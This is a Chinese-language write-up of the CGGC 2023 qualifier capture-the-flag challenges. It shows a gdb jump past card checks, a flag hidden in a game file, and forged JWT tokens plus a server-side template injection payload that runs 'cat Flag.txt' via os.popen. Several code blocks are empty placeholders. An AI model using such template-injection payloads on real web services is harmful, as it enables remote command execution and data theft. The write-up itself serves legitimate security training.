CGGC 2023 初賽
- 隊名: 王凡補習班
- 名次
這一次參賽雖然打出來的不多,但重點還是有學到很多東西,感謝@davidchen學長帶我飛,我覺得互相交流之後的這種隱形的貢獻也是很重要的
GaoYi
Source code
:::spoiler IDA main function
1 |
|
:::
:::spoiler IDA ReadFlag
1 |
|
:::
Recon
這一題算是除了hello world以外最水的題目了吧,主要是模擬賭神中和高義對決的場警
- 主要的source code行為是,他已經寫死8張牌,第一階段我們要做的事情是猜出是哪八張
- 第二階段是再猜出一張牌
- 就可以進到readFlag function中,讓他把flag給我們
但其實實際上可以用gdb bypass那些認證,直接jump就好
1 |
|
Flag: CGGC{J00_sh4ll_n07_sH1P_S3cR37S_70_cuS70M3r}
Space game
Recon
這一題因為是賽後才寫WP,所以沒有甚麼太詳細的資訊可以記錄,不過這一題的確很misc,但通靈的方向屢屢受挫
- 首先題目給予一個網頁型的小遊戲(算是類似七八零年代的那種飛船打外星人的那種),然後過關的條件是要至少活到最後並且打死30個以上的敵人,但這其實根本就和解題沒關係
- 如果從動態看,可以看到他import一個檔案(game.gb),misc的地方在於他把flag藏在這個檔案中,所以其實和遊戲一點關係都沒有(心累啊!!!!!)
Exploit
如果實際去看他的binary,會發現有蠻多個flag,但學長測試下來正確的是
CGGC{Y0U_WIN!!123}
Flag: CGGC{Y0U_WIN!!123}
Bossti
Background
JWT(maybe??) SSTI
Source code
Recon
這一題也是搞心態,一開始以為他是和jwt有關的題目,所以在第一天打的時候,有嘗試過直接把jwt token改變,但卻過不了,到了第二天用一樣的token卻有不一樣的效果,不知道是不是server有問題或是作者有更新
- admin頁面
Payload:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoyLCJyb2xlIjoiYWRtaW4iLCJoYWNrIjoiIn0.kmCiItAN6q9xCmrZ1uqhZZP96_pqD5RBMp1Umv0HFKM
- boss頁面
Payload:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJyb2xlIjoiYm9zcyIsImhhY2siOiIifQ.VhS5VSRlR_RrgIlF-gdl-s1_PVHPQCxB3s8oHgwEPJ4
- 其實看了URL
http://10.99.111.109:5000/admin?data={%27user_id%27%3A+2,+%27role%27%3A+%27admin%27,+%27hack%27%3A+%27%27}
或http://10.99.111.109:5000/boss?data={%27user_id%27%3A+1,+%27role%27%3A+%27boss%27,+%27hack%27%3A+%27%27}
才覺得應該和jwt認證沒關係,因為就算換到一個無痕頁面也一樣可以看得到,但重點是boss的頁面有給一個疑似是SSTI的提示(7*7=49經典的payload),所以剩下的事情就是SSTI payload瘋狂輸出拿flag
Exploit - SSTI
Payload: /boss?data={%27user_id%27%3A+1,+%27role%27%3A+%27boss%27,+%27hack%27%3A+%27{{self.__init__.__globals__.__builtins__.__import__("os").popen("cat%20Flag.txt").read()}}%27}
Flag: CGGC{"S$T1_V3RY_EZ_2_Pwn3D_C0ngr4t$"}